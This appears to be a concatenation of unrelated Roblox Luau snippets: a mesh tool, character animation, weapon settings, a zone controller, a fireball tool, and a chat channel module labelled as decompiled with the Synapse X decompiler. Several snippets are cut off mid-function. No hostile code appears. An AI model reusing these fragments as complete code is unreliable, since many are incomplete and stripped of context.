local NewScale = tonumber(XScaleInput.Text);
SetAxisScale('X', NewScale);
end);
YScaleInput.FocusLost:connect(function (EnterPressed)
local NewScale = tonumber(YScaleInput.Text);
SetAxisScale('Y', NewScale);
end);
ZScaleInput.FocusLost:connect(function (EnterPressed)
local NewScale = tonumber(ZScaleInput.Text);
SetAxisScale('Z', NewScale);
end);
-- Enable the offset inputs
local XOffsetInput = MeshTool.UI.OffsetOption.XInput.TextBox;
local YOffsetInput = MeshTool.UI.OffsetOption.YInput.TextBox;
local ZOffsetInput = MeshTool.UI.OffsetOption.ZInput.TextBox;
XOffsetInput.FocusLost:connect(function (EnterPressed)
local NewOffset = tonumber(XOffsetInput.Text);
SetAxisOffset('X', NewOffset);
end);
YOffsetInput.FocusLost:connect(function (EnterPressed)
local NewOffset = tonumber(YOffsetInput.Text);
SetAxisOffset('Y', NewOffset);
end);
ZOffsetInput.FocusLost:connect(function (EnterPressed)
local NewOffset = tonumber(ZOffsetInput.Text);
SetAxisOffset('Z', NewOffset);
end);
-- Enable the mesh ID input
MeshIdInput.FocusLost:connect(function (EnterPressed)
SetMeshId(ParseAssetId(MeshIdInput.Text));
end);
-- Enable the texture ID input
TextureIdInput.FocusLost:connect(function (EnterPressed)
SetTextureId(ParseAssetId(TextureIdInput.Text));
end);
-- Enable the vertex color/tint option
VertexColorInput.MouseButton1Click:connect(function ()
Core.Cheer(Core.Tool.Interfaces.BTHSVColorPicker, Core.UI).Start(
VectorToColor(Support.IdentifyCommonProperty(GetMeshes(), 'VertexColor')) or Color3.new(1, 1, 1),
function (Color) SetProperty('VertexColor', ColorToVector(Color)) end,
Core.Targeting.CancelSelecting
);
end);
-- Enable the mesh adding button
AddButton.Button.MouseButton1Click:connect(function ()
AddMeshes();
end);
RemoveButton.Button.MouseButton1Click:connect(function ()
RemoveMeshes();
end);
-- Update the UI every 0.1 seconds
UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1);
end;
function UpdateUI()
-- Updates information on the UI
-- Make sure the UI's on
if not MeshTool.UI then
return;
end;
-- Get all meshes
local Meshes = GetMeshes();
-- Identify all common properties
local MeshType = Support.IdentifyCommonProperty(Meshes, 'MeshType');
local MeshId = Support.IdentifyCommonProperty(Meshes, 'MeshId');
local TextureId = Support.IdentifyCommonProperty(Meshes, 'TextureId');
local VertexColor = VectorToColor(Support.IdentifyCommonProperty(Meshes, 'VertexColor'));
-- Check if there's a file mesh in the selection
local FileMeshInSelection = false;
for _, Mesh in pairs(GetMeshes()) do
if Mesh.MeshType == Enum.MeshType.FileMesh then
FileMeshInSelection = true;
break;
end;
end;
-- Identify common scales and offsets across axes
local XScaleVariations, YScaleVariations, ZScaleVariations = {}, {}, {};
local XOffsetVariations, YOffsetVariations, ZOffsetVariations = {}, {}, {};
for _, Mesh in pairs(GetMeshes()) do
table.insert(XScaleVariations, Support.Round(Mesh.Scale.X, 3));
table.insert(YScaleVariations, Support.Round(Mesh.Scale.Y, 3));
table.insert(ZScaleVariations, Support.Round(Mesh.Scale.Z, 3));
table.insert(XOffsetVariations, Support.Round(Mesh.Offset.X, 3));
table.insert(YOffsetVariations, Support.Round(Mesh.Offset.Y, 3));
table.insert(ZOffsetVariations, Support.Round(Mesh.Offset.Z, 3));
end;
local CommonXScale = Support.IdentifyCommonItem(XScaleVariations);
local CommonYScale = Support.IdentifyCommonItem(YScaleVariations);
local CommonZScale = Support.IdentifyCommonItem(ZScaleVariations);
local CommonXOffset = Support.IdentifyCommonItem(XOffsetVariations);
local CommonYOffset = Support.IdentifyCommonItem(YOffsetVariations);
local CommonZOffset = Support.IdentifyCommonItem(ZOffsetVariations);
-- Shortcuts to updating UI elements
local AddButton = MeshTool.UI.AddButton;
local RemoveButton = MeshTool.UI.RemoveButton;
local MeshTypeDropdown = MeshTool.UI.TypeOption.Dropdown;
local MeshIdInput = MeshTool.UI.MeshIdOption.TextBox;
local TextureIdInput = MeshTool.UI.TextureIdOption.TextBox;
local VertexColorIndicator = MeshTool.UI.TintOption.Indicator;
local XScaleInput = MeshTool.UI.ScaleOption.XInput.TextBox;
local YScaleInput = MeshTool.UI.ScaleOption.YInput.TextBox;
local ZScaleInput = MeshTool.UI.ScaleOption.ZInput.TextBox;
local XOffsetInput = MeshTool.UI.OffsetOption.XInput.TextBox;
local YOffsetInput = MeshTool.UI.OffsetOption.YInput.TextBox;
local ZOffsetInput = MeshTool.UI.OffsetOption.ZInput.TextBox;
-- Update the inputs
UpdateDataInputs {
[MeshIdInput] = MeshId and ParseAssetId(MeshId) or MeshId or '*';
[TextureIdInput] = TextureId and ParseAssetId(TextureId) or TextureId or '*';
[XScaleInput] = CommonXScale or '*';
[YScaleInput] = CommonYScale or '*';
[ZScaleInput] = CommonZScale or '*';
[XOffsetInput] = CommonXOffset or '*';
[YOffsetInput] = CommonYOffset or '*';
[ZOffsetInput] = CommonZOffset or '*';
};
UpdateColorIndicator(VertexColorIndicator, VertexColor);
local MeshTypeLabel = Support.FindTableOccurrence(MeshTypes, MeshType);
TypeDropdown.SetOption(MeshTypeLabel and MeshTypeLabel or '*');
AddButton.Visible = false;
RemoveButton.Visible = false;
MeshTool.UI.TypeOption.Visible = false;
MeshIdInput.Parent.Visible = false;
TextureIdInput.Parent.Visible = false;
VertexColorIndicator.Parent.Visible = false;
MeshTool.UI.ScaleOption.Visible = false;
MeshTool.UI.OffsetOption.Visible = false;
-- Update the UI to display options depending on the mesh type
local DisplayedItems;
if #Meshes == 0 then
DisplayedItems = { AddButton };
-- Each selected part has a mesh, including a file mesh
elseif #Meshes == #Selection.Items and FileMeshInSelection then
DisplayedItems = { MeshTool.UI.TypeOption, MeshTool.UI.ScaleOption, MeshTool.UI.OffsetOption, MeshIdInput.Parent, TextureIdInput.Parent, VertexColorIndicator.Parent, RemoveButton };
-- Each selected part has a mesh
elseif #Meshes == #Selection.Items and not FileMeshInSelection then
DisplayedItems = { MeshTool.UI.TypeOption, MeshTool.UI.ScaleOption, MeshTool.UI.OffsetOption, RemoveButton };
-- Only some selected parts have meshes, including a file mesh
elseif #Meshes ~= #Selection.Items and FileMeshInSelection then
DisplayedItems = { AddButton, MeshTool.UI.TypeOption, MeshTool.UI.ScaleOption, MeshTool.UI.OffsetOption, MeshIdInput.Parent, TextureIdInput.Parent, VertexColorIndicator.Parent, RemoveButton };
-- Only some selected parts have meshes
elseif #Meshes ~= #Selection.Items and not FileMeshInSelection then
DisplayedItems = { AddButton, MeshTool.UI.TypeOption, MeshTool.UI.ScaleOption, MeshTool.UI.OffsetOption, RemoveButton };
end;
-- Display the relevant UI elements
DisplayLinearLayout(DisplayedItems, MeshTool.UI, UDim2.new(0, 0, 0, 20), 10);
end;
function HideUI()
-- Hides the tool UI
-- Make sure there's a UI
if not MeshTool.UI then
return;
end;
-- Hide the UI
MeshTool.UI.Visible = false;
-- Stop updating the UI
UIUpdater:Stop();
end;
function GetMeshes()
-- Returns all the meshes in the selection
local Meshes = {};
-- Get any meshes from any selected parts
for _, Part in pairs(Selection.Items) do
table.insert(Meshes, Support.GetChildOfClass(Part, 'SpecialMesh'));
end;
-- Return the meshes
return Meshes;
end;
function ParseAssetId(Input)
-- Returns the intended asset ID for the given input
-- Get the ID number from the input
local Id = tonumber(Input)
or tonumber(Input:lower():match('%?id=([0-9]+)'))
or tonumber(Input:match('/([0-9]+)/'))
or tonumber(Input:lower():match('rbxassetid://([0-9]+)'));
-- Return the ID
return Id;
end;
function VectorToColor(Vector)
-- Returns the Color3 with the values in the given Vector3
-- Make sure that the given Vector3 is valid
if not Vector then return end;
-- Return the Color3
return Color3.new(Vector.X, Vector.Y, Vector.Z);
end;
function ColorToVector(Color)
-- Returns the Vector3 with the values in the given Color3
-- Make sure that the given Color3 is valid
if not Color then return end;
-- Return the Vector3
return Vector3.new(Color.r, Color.g, Color.b);
end;
function UpdateDataInputs(Data)
-- Updates the data in the given TextBoxes when the user isn't typing in them
-- Go through the inputs and data
for Input, UpdatedValue in pairs(Data) do
-- Makwe sure the user isn't typing into the input
if not Input:IsFocused() then
-- Set the input's value
Input.Text = tostring(UpdatedValue);
end;
end;
end;
function UpdateColorIndicator(Indicator, Color)
-- Updates the given color indicator
-- If there is a single color, just display it
if Color then
Indicator.BackgroundColor3 = Color;
Indicator.Varies.Text = '';
-- If the colors vary, display a * on a gray background
else
Indicator.BackgroundColor3 = Color3.new(222/255, 222/255, 222/255);
Indicator.Varies.Text = '*';
end;
end;
function DisplayLinearLayout(Items, Container, StartPosition, Padding)
-- Keep track of the total vertical extents of all items
local Sum = 0;
-- Go through each item
for ItemIndex, Item in ipairs(Items) do
-- Make the item visible
Item.Visible = true;
-- Position this item underneath the past items
Item.Position = StartPosition + UDim2.new(
Item.Position.X.Scale,
Item.Position.X.Offset,
0,
Sum + Padding
);
-- Update the sum of item heights
Sum = Sum + Padding + Item.AbsoluteSize.Y;
end;
-- Resize the container to fit the new layout
Container.Size = UDim2.new(0, 200, 0, 30 + Sum);
end;
function AddMeshes()
-- Prepare the change request for the server
local Changes = {};
-- Go through the selection
for _, Part in pairs(Selection.Items) do
-- Make sure this part doesn't already have a mesh
if not Support.GetChildOfClass(Part, 'SpecialMesh') then
-- Queue a mesh to be created for this part
table.insert(Changes, { Part = Part });
end;
end;
-- Send the change request to the server
local Meshes = Core.SyncAPI:Invoke('CreateMeshes', Changes);
-- Put together the history record
local HistoryRecord = {
Meshes = Meshes;
Unapply = function (HistoryRecord)
-- Reverts this change
-- Select changed parts
Selection.Replace(Support.GetListMembers(HistoryRecord.Meshes, 'Parent'));
-- Remove the meshes
Core.SyncAPI:Invoke('Remove', HistoryRecord.Meshes);
end;
Apply = function (HistoryRecord)
-- Reapplies this change
-- Restore the meshes
Core.SyncAPI:Invoke('UndoRemove', HistoryRecord.Meshes);
-- Select changed parts
Selection.Replace(Support.GetListMembers(HistoryRecord.Meshes, 'Parent'));
end;
};
-- Register the history record
Core.History.Add(HistoryRecord);
end;
function RemoveMeshes()
-- Get all the meshes in the selection
local Meshes = GetMeshes();
-- Create the history record
local HistoryRecord = {
Meshes = Meshes;
Unapply = function (HistoryRecord)
-- Reverts this change
-- Restore the meshes
Core.SyncAPI:Invoke('UndoRemove', HistoryRecord.Meshes);
-- Select changed parts
Selection.Replace(Support.GetListMembers(HistoryRecord.Meshes, 'Parent'));
end;
Apply = function (HistoryRecord)
-- Reapplies this change
-- Select changed parts
Selection.Replace(Support.GetListMembers(HistoryRecord.Meshes, 'Parent'));
-- Remove the meshes
Core.SyncAPI:Invoke('Remove', HistoryRecord.Meshes);
end;
};
-- Send the removal request
Core.SyncAPI:Invoke('Remove', Meshes);
-- Register the history record
Core.History.Add(HistoryRecord);
end;
function SetProperty(Property, Value)
-- Make sure the given value is valid
if not Value then
return;
end;
-- Start a history record
TrackChange();
-- Go through each mesh
for _, Mesh in pairs(GetMeshes()) do
-- Store the state of the mesh before modification
table.insert(HistoryRecord.Before, { Part = Mesh.Parent, [Property] = Mesh[Property] });
-- Create the change request for this mesh
table.insert(HistoryRecord.After, { Part = Mesh.Parent, [Property] = Value });
end;
-- Register the changes
RegisterChange();
end;
function SetAxisScale(Axis, Scale)
-- Sets the selection's scale on axis `Axis` to `Scale`
-- Start a history record
TrackChange();
-- Go through each mesh
for _, Mesh in pairs(GetMeshes()) do
-- Store the state of the mesh before modification
table.insert(HistoryRecord.Before, { Part = Mesh.Parent, Scale = Mesh.Scale });
-- Put together the changed scale
local Scale = Vector3.new(
Axis == 'X' and Scale or Mesh.Scale.X,
Axis == 'Y' and Scale or Mesh.Scale.Y,
Axis == 'Z' and Scale or Mesh.Scale.Z
);
-- Create the change request for this mesh
table.insert(HistoryRecord.After, { Part = Mesh.Parent, Scale = Scale });
end;
-- Register the changes
RegisterChange();
end;
function SetAxisOffset(Axis, Offset)
-- Sets the selection's offset on axis `Axis` to `Offset`
-- Start a history record
TrackChange();
-- Go through each mesh
for _, Mesh in pairs(GetMeshes()) do
-- Store the state of the mesh before modification
table.insert(HistoryRecord.Before, { Part = Mesh.Parent, Offset = Mesh.Offset });
-- Put together the changed scale
local Offset = Vector3.new(
Axis == 'X' and Offset or Mesh.Offset.X,
Axis == 'Y' and Offset or Mesh.Offset.Y,
Axis == 'Z' and Offset or Mesh.Offset.Z
);
-- Create the change request for this mesh
table.insert(HistoryRecord.After, { Part = Mesh.Parent, Offset = Offset });
end;
-- Register the changes
RegisterChange();
end;
function SetMeshId(AssetId)
-- Sets the meshes in the selection's mesh ID to the intended, given mesh asset
-- Make sure the given asset ID is valid
if not AssetId then
return;
end;
-- Prepare the change request
local Changes = {
MeshId = 'rbxassetid://' .. AssetId;
};
-- Attempt a mesh extraction on the given asset
Core.Try(Core.SyncAPI.Invoke, Core.SyncAPI, 'ExtractMeshFromAsset', AssetId)
:Then(function (ExtractionData)
-- Ensure extraction succeeded
assert(ExtractionData.success, 'Extraction failed');
-- Apply any mesh found
local MeshId = ExtractionData.meshID;
if MeshId then
Changes.MeshId = 'rbxassetid://' .. MeshId;
end;
-- Apply any texture found
local TextureId = ExtractionData.textureID;
if TextureId then
Changes.TextureId = 'rbxassetid://' .. TextureId;
end;
-- Apply any vertex color found
local VertexColor = ExtractionData.tint;
if VertexColor then
Changes.VertexColor = Vector3.new(VertexColor.x, VertexColor.y, VertexColor.z);
end;
-- Apply any scale found
local Scale = ExtractionData.scale;
if Scale then
Changes.Scale = Vector3.new(Scale.x, Scale.y, Scale.z);
end;
end);
-- Start a history record
TrackChange();
-- Go through each mesh
for _, Mesh in pairs(GetMeshes()) do
-- Create the history change requests for this mesh
local Before, After = { Part = Mesh.Parent }, { Part = Mesh.Parent };
-- Gather change information to finish up the history change requests
for Property, Value in pairs(Changes) do
Before[Property] = Mesh[Property];
After[Property] = Value;
end;
-- Store the state of the mesh before modification
table.insert(HistoryRecord.Before, Before);
-- Create the change request for this mesh
table.insert(HistoryRecord.After, After);
end;
-- Register the changes
RegisterChange();
end;
function SetTextureId(AssetId)
-- Sets the meshes in the selection's texture ID to the intended, given image asset
-- Make sure the given asset ID is valid
if not AssetId then
return;
end;
-- Prepare the change request
local Changes = {
TextureId = 'rbxassetid://' .. AssetId;
};
-- Attempt an image extraction on the given asset
Core.Try(Core.SyncAPI.Invoke, Core.SyncAPI, 'ExtractImageFromDecal', AssetId)
:Then(function (ExtractedImage)
Changes.TextureId = 'rbxassetid://' .. ExtractedImage;
end);
-- Start a history record
TrackChange();
-- Go through each mesh
for _, Mesh in pairs(GetMeshes()) do
-- Create the history change requests for this mesh
local Before, After = { Part = Mesh.Parent }, { Part = Mesh.Parent };
-- Gather change information to finish up the history change requests
for Property, Value in pairs(Changes) do
Before[Property] = Mesh[Property];
After[Property] = Value;
end;
-- Store the state of the mesh before modification
table.insert(HistoryRecord.Before, Before);
-- Create the change request for this mesh
table.insert(HistoryRecord.After, After);
end;
-- Register the changes
RegisterChange();
end;
function TrackChange()
-- Start the record
HistoryRecord = {
Before = {};
After = {};
Unapply = function (Record)
-- Reverts this change
-- Select the changed parts
Selection.Replace(Support.GetListMembers(Record.Before, 'Part'));
-- Send the change request
Core.SyncAPI:Invoke('SyncMesh', Record.Before);
end;
Apply = function (Record)
-- Applies this change
-- Select the changed parts
Selection.Replace(Support.GetListMembers(Record.After, 'Part'));
-- Send the change request
Core.SyncAPI:Invoke('SyncMesh', Record.After);
end;
};
end;
function RegisterChange()
-- Finishes creating the history record and registers it
-- Make sure there's an in-progress history record
if not HistoryRecord then
return;
end;
-- Send the change to the server
Core.SyncAPI:Invoke('SyncMesh', HistoryRecord.After);
-- Register the record and clear the staging
Core.History.Add(HistoryRecord);
HistoryRecord = nil;
end;
|
-- if Xdir > 0 then -- if going ?North? then ignore, else (?South?); Jump
-- Hit = nil -- ignore
-- elseif Xdir == 0 then -- else swerve (only while in logic).
|
if Xdir == 0 then
Hit = Aitorso-- this should result in Hit = true-but-don't-attemp-a-jump, so swerve; doesn't check floor!
|
--------END LIGHT SET 1--------
--------DJ BACKLIGHT--------
|
game.Workspace.djbacklight.l1.BrickColor = BrickColor.new(game.Workspace.Lighting.cyandj.Value)
game.Workspace.djbacklight.l2.BrickColor = BrickColor.new(game.Workspace.Lighting.cyandj.Value)
game.Workspace.djbacklight.l3.BrickColor = BrickColor.new(game.Workspace.Lighting.cyandj.Value)
game.Workspace.djbacklight.l4.BrickColor = BrickColor.new(game.Workspace.Lighting.cyandj.Value)
|
----
----
|
if hit.Parent:findFirstChild("Humanoid") ~= nil then
local target1 = "LeftLowerLeg"
local target2 = "LeftLowerLeg2"
if hit.Parent:findFirstChild(target2) == nil then
local g = script.Parent.Parent[target2]:clone()
g.Parent = hit.Parent
local C = g:GetChildren()
for i=1, #C do
if C[i].className == "UnionOperation" or C[i].className =="Part" or C[i].className == "WedgePart" or C[i].className == "MeshPart" then
local W = Instance.new("Weld")
W.Part0 = g.Middle
W.Part1 = C[i]
local CJ = CFrame.new(g.Middle.Position)
local C0 = g.Middle.CFrame:inverse()*CJ
local C1 = C[i].CFrame:inverse()*CJ
W.C0 = C0
W.C1 = C1
W.Parent = g.Middle
end
local Y = Instance.new("Weld")
Y.Part0 = hit.Parent[target1]
Y.Part1 = g.Middle
Y.C0 = CFrame.new(0, 0, 0)
Y.Parent = Y.Part0
end
local h = g:GetChildren()
for i = 1, # h do
h[i].Anchored = false
h[i].CanCollide = false
end
end
end
|
-- Decompiled with the Synapse X Luau decompiler.
|
local v1, v2 = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserFlagRemoveMessageFromMessageLog");
end);
local v3 = {};
local l__ClientChatModules__4 = game:GetService("Chat"):WaitForChild("ClientChatModules");
local l__Parent__5 = script.Parent;
local v6 = {};
v6.__index = v6;
function v6.Destroy(p1)
p1.Destroyed = true;
end;
function v6.SetActive(p2, p3)
if p3 == p2.Active then
return;
end;
if p3 == false then
p2.MessageLogDisplay:Clear();
else
p2.MessageLogDisplay:SetCurrentChannelName(p2.Name);
for v7 = 1, #p2.MessageLog do
p2.MessageLogDisplay:AddMessage(p2.MessageLog[v7]);
end;
end;
p2.Active = p3;
end;
local u1 = v1 or v2;
function v6.UpdateMessageFiltered(p4, p5)
local v8 = 1;
local l__MessageLog__9 = p4.MessageLog;
local v10 = nil;
while v8 <= #l__MessageLog__9 do
local v11 = l__MessageLog__9[v8];
if v11.ID == p5.ID then
v10 = v11;
break;
end;
v8 = v8 + 1;
end;
if v10 then
v10.Message = p5.Message;
v10.IsFiltered = true;
if not p4.Active then
return;
end;
else
p4:AddMessageToChannelByTimeStamp(p5);
return;
end;
if u1 and v10.Message == "" then
table.remove(p4.MessageLog, v8);
end;
p4.MessageLogDisplay:UpdateMessageFiltered(v10);
end;
local u2 = require(l__ClientChatModules__4:WaitForChild("ChatSettings"));
function v6.AddMessageToChannel(p6, p7)
table.insert(p6.MessageLog, p7);
if p6.Active then
p6.MessageLogDisplay:AddMessage(p7);
end;
if u2.MessageHistoryLengthPerChannel < #p6.MessageLog then
p6:RemoveLastMessageFromChannel();
end;
end;
function v6.InternalAddMessageAtTimeStamp(p8, p9)
for v12 = 1, #p8.MessageLog do
if p9.Time < p8.MessageLog[v12].Time then
table.insert(p8.MessageLog, v12, p9);
return;
end;
end;
table.insert(p8.MessageLog, p9);
end;
function v6.AddMessagesToChannelByTimeStamp(p10, p11, p12)
for v13 = p12, #p11 do
p10:InternalAddMessageAtTimeStamp(p11[v13]);
end;
while u2.MessageHistoryLengthPerChannel < #p10.MessageLog do
table.remove(p10.MessageLog, 1);
end;
if p10.Active then
p10.MessageLogDisplay:Clear();
for v14 = 1, #p10.MessageLog do
p10.MessageLogDisplay:AddMessage(p10.MessageLog[v14]);
end;
end;
end;
function v6.AddMessageToChannelByTimeStamp(p13, p14)
if not (#p13.MessageLog >= 1) then
p13:AddMessageToChannel(p14);
return;
end;
if p14.Time < p13.MessageLog[1].Time then
return;
end;
if p13.MessageLog[#p13.MessageLog].Time <= p14.Time then
p13:AddMessageToChannel(p14);
return;
end;
for v15 = 1, #p13.MessageLog do
if p14.Time < p13.MessageLog[v15].Time then
table.insert(p13.MessageLog, v15, p14);
if u2.MessageHistoryLengthPerChannel < #p13.MessageLog then
p13:RemoveLastMessageFromChannel();
end;
if p13.Active then
p13.MessageLogDisplay:AddMessageAtIndex(p14, v15);
end;
return;
end;
end;
end;
function v6.RemoveLastMessageFromChannel(p15)
table.remove(p15.MessageLog, 1);
if p15.Active then
p15.MessageLogDisplay:RemoveLastMessage();
end;
end;
function v6.ClearMessageLog(p16)
p16.MessageLog = {};
if p16.Active then
p16.MessageLogDisplay:Clear();
end;
end;
function v6.RegisterChannelTab(p17, p18)
p17.ChannelTab = p18;
end;
function v3.new(p19, p20)
local v16 = setmetatable({}, v6);
v16.Destroyed = false;
v16.Active = false;
v16.MessageLog = {};
v16.MessageLogDisplay = p20;
v16.ChannelTab = nil;
v16.Name = p19;
return v16;
end;
return v3;
|
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
|
function onRunning(speed)
if speed>0.01 then
if Figure and Humanoid and Humanoid.WalkSpeed<17 then
playAnimation("walk", 0.1, Humanoid);
elseif Figure and Humanoid and Humanoid.WalkSpeed>17 then
playAnimation("run", 0.1, Humanoid);
end;
if currentAnimInstance and currentAnimInstance.AnimationId == "http://www.roblox.com/asset/?id=180426354" then
setAnimationSpeed(speed / 14.5)
end
pose = "Running"
else
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
end
end
function onDied()
pose = "Dead"
end
function onJumping()
playAnimation("jump", 0.1, Humanoid)
jumpAnimTime = jumpAnimDuration
pose = "Jumping"
end
function onClimbing(speed)
playAnimation("climb", 0.1, Humanoid)
setAnimationSpeed(speed / 12.0)
pose = "Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
if (jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
end
pose = "FreeFall"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
pose = "Seated"
end
function onPlatformStanding()
pose = "PlatformStanding"
end
function onSwimming(speed)
if speed>0 then
pose = "Running"
else
pose = "Standing"
end
end
function getTool()
for _, kid in ipairs(Figure:GetChildren()) do
if kid.className == "Tool" then return kid end
end
return nil
end
function getToolAnim(tool)
for _, c in ipairs(tool:GetChildren()) do
if c.Name == "toolanim" and c.className == "StringValue" then
return c
end
end
return nil
end
function animateTool()
if (toolAnim == "None") then
playToolAnimation("toolnone", toolTransitionTime, Humanoid)
return
end
if (toolAnim == "Slash") then
playToolAnimation("toolslash", 0, Humanoid)
return
end
if (toolAnim == "Lunge") then
playToolAnimation("toollunge", 0, Humanoid)
return
end
end
function moveSit()
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
RightShoulder:SetDesiredAngle(3.14 /2)
LeftShoulder:SetDesiredAngle(-3.14 /2)
RightHip:SetDesiredAngle(3.14 /2)
LeftHip:SetDesiredAngle(-3.14 /2)
end
local lastTick = 0
function move(time)
local amplitude = 1
local frequency = 1
local deltaTime = time - lastTick
lastTick = time
local climbFudge = 0
local setAngles = false
if (jumpAnimTime > 0) then
jumpAnimTime = jumpAnimTime - deltaTime
end
if (pose == "FreeFall" and jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
elseif (pose == "Seated") then
playAnimation("sit", 0.5, Humanoid)
return
elseif (pose == "Running") then
if Figure and Humanoid and Humanoid.WalkSpeed<17 then
playAnimation("walk", 0.1, Humanoid);
elseif Figure and Humanoid and Humanoid.WalkSpeed>17 then
playAnimation("run", 0.1, Humanoid);
end;
elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
stopAllAnimations()
amplitude = 0.1
frequency = 1
setAngles = true
end
if (setAngles) then
local desiredAngle = amplitude * math.sin(time * frequency)
RightShoulder:SetDesiredAngle(desiredAngle + climbFudge)
LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge)
RightHip:SetDesiredAngle(-desiredAngle)
LeftHip:SetDesiredAngle(-desiredAngle)
end
-- Tool Animation handling
local tool = getTool()
if tool and tool:FindFirstChild("Handle") then
local animStringValueObject = getToolAnim(tool)
if animStringValueObject then
toolAnim = animStringValueObject.Value
-- message recieved, delete StringValue
animStringValueObject.Parent = nil
toolAnimTime = time + .3
end
if time > toolAnimTime then
toolAnimTime = 0
toolAnim = "None"
end
animateTool()
else
stopToolAnimations()
toolAnim = "None"
toolAnimInstance = nil
toolAnimTime = 0
end
end
|
--For R15 avatars
|
Animations = {
R15Slash = 522635514,
R15Lunge = 522638767
}
Damage = DamageValues.BaseDamage
Grips = {
Up = CFrame.new(0, 0, 0),
Out = CFrame.new(0, 0, 0)
}
Sounds = {
Slash = Handle:WaitForChild("SwordSlash"),
Lunge = Handle:WaitForChild("SwordLunge"),
Unsheath = Handle:WaitForChild("Unsheath")
}
ToolEquipped = false
|
-- ====================
-- BASIC
-- A basic settings for the gun
-- ====================
|
UseCommonVisualEffects = true; --Enable to use default visual effect folder named "Common". Otherwise, use visual effect with specific tool name (ReplicatedStorage -> Miscs -> GunVisualEffects)
AutoReload = true; --Reload automatically when you run out of mag; disabling it will make you reload manually
PrimaryHandle = "Handle";
SecondaryHandle = "Handle2"; --Check "DualWeldEnabled" for detail
CustomGripEnabled = false; --NOTE: Must disable "RequiresHandle" first
CustomGripName = "Handle";
CustomGripPart0 = {"Character", "Left Arm"}; --Base
CustomGripPart1 = {"Tool", "Handle"}; --Target
AlignC0AndC1FromDefaultGrip = true;
CustomGripCFrame = false;
CustomGripC0 = CFrame.new(0, 0, 0);
CustomGripC1 = CFrame.new(0, 0, 0);
--CustomGripPart[0/1] = {Ancestor, InstanceName}
--Supported ancestors: Tool, Character
--NOTE: Don't set "CustomGripName" to "RightGrip"
|
-- PRIVATE FUNCTIONS
|
function ZoneController._registerZone(zone)
registeredZones[zone] = true
local registeredJanitor = zone.janitor:add(Janitor.new(), "destroy")
zone._registeredJanitor = registeredJanitor
registeredJanitor:add(zone.updated:Connect(function()
ZoneController._updateZoneDetails()
end), "Disconnect")
ZoneController._updateZoneDetails()
end
function ZoneController._deregisterZone(zone)
registeredZones[zone] = nil
zone._registeredJanitor:destroy()
zone._registeredJanitor = nil
ZoneController._updateZoneDetails()
end
function ZoneController._registerConnection(registeredZone, registeredTriggerType)
local originalItems = dictLength(registeredZone.activeTriggers)
activeConnections += 1
if originalItems == 0 then
activeZones[registeredZone] = true
ZoneController._updateZoneDetails()
end
local currentTriggerCount = activeTriggers[registeredTriggerType]
activeTriggers[registeredTriggerType] = (currentTriggerCount and currentTriggerCount+1) or 1
registeredZone.activeTriggers[registeredTriggerType] = true
if registeredZone.touchedConnectionActions[registeredTriggerType] then
registeredZone:_formTouchedConnection(registeredTriggerType)
end
if heartbeatActions[registeredTriggerType] then
ZoneController._formHeartbeat(registeredTriggerType)
end
end
|
-- ROBLOX Services
|
local Players = game:GetService("Players")
|
--Made by Luckymaxer
|
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Particles = Handle:WaitForChild("Particles")
Players = game:GetService("Players")
Debris = game:GetService("Debris")
BaseUrl = "http://www.roblox.com/asset/?id="
FireParticles = script:WaitForChild("Particles")
HitScript = script:WaitForChild("HitScript")
Functions = require(script:WaitForChild("Functions"))
RbxUtility = LoadLibrary("RbxUtility")
Create = RbxUtility.Create
BasePart = Create("Part"){
Shape = Enum.PartType.Block,
Material = Enum.Material.Plastic,
TopSurface = Enum.SurfaceType.Smooth,
BottomSurface = Enum.SurfaceType.Smooth,
FormFactor = Enum.FormFactor.Custom,
Size = Vector3.new(0.2, 0.2, 0.2),
CanCollide = true,
Locked = true,
Anchored = false,
}
Sounds = {
Fire = Handle:WaitForChild("Fire")
}
Animations = {
Cast = {Animation = Tool:WaitForChild("Cast"), FadeTime = nil, Weight = nil, Speed = 3.5, Duration = 0.25},
}
Remotes = Tool:WaitForChild("Remotes")
ServerControl = (Remotes:FindFirstChild("ServerControl") or Create("RemoteFunction"){
Name = "ServerControl",
Parent = Remotes,
})
ClientControl = (Remotes:FindFirstChild("ClientControl") or Create("RemoteFunction"){
Name = "ClientControl",
Parent = Remotes,
})
ReloadTime = 1
ToolEquipped = false
Handle.Transparency = 0
Tool.Enabled = true
function Activated()
local MouseData = InvokeClient("MouseData")
if not MouseData or not MouseData.Position then
return
end
if not Tool.Enabled or not CheckIfAlive() or not ToolEquipped then
return
end
Tool.Enabled = false
local CurrentlyEquipped = true
if ToolUnequipped then
ToolUnequipped:disconnect()
end
ToolUnequipped = Tool.Unequipped:connect(function()
CurrentlyEquipped = false
end)
local Animation = Animations.Cast
Spawn(function()
InvokeClient("PlayAnimation", Animation)
end)
wait(Animation.Duration / 1)
if ToolUnequipped then
ToolUnequipped:disconnect()
end
if not ToolEquipped or not CurrentlyEquipped then
Tool.Enabled = true
return
end
Sounds.Fire:Play()
local Fireball = BasePart:Clone()
Fireball.Name = "Projectile"
Fireball.Transparency = 0.9
Fireball.BrickColor = BrickColor.new("Deep orange")
Fireball.Material = Enum.Material.SmoothPlastic
Fireball.Shape = Enum.PartType.Ball
Fireball.Size = Vector3.new(2, 2, 2)
Fireball.CanCollide = false
for i = 1, 10 do
local Fire = FireParticles:Clone()
Fire.LockedToPart = false
Fire.Enabled = true
Fire.Parent = Fireball
end
local Values = {
{Name = "Creator", Class = "ObjectValue", Value = Player},
{Name = "Damage", Class = "NumberValue", Value = math.random(25, 45)},
}
for i, v in pairs(Values) do
local Value = Create(v.Class){
Name = v.Name,
Value = v.Value,
Parent = Fireball,
}
end
local HitScriptCopy = HitScript:Clone()
HitScriptCopy.Disabled = false
HitScriptCopy.Parent = Fireball
local MousePos = MouseData.Position
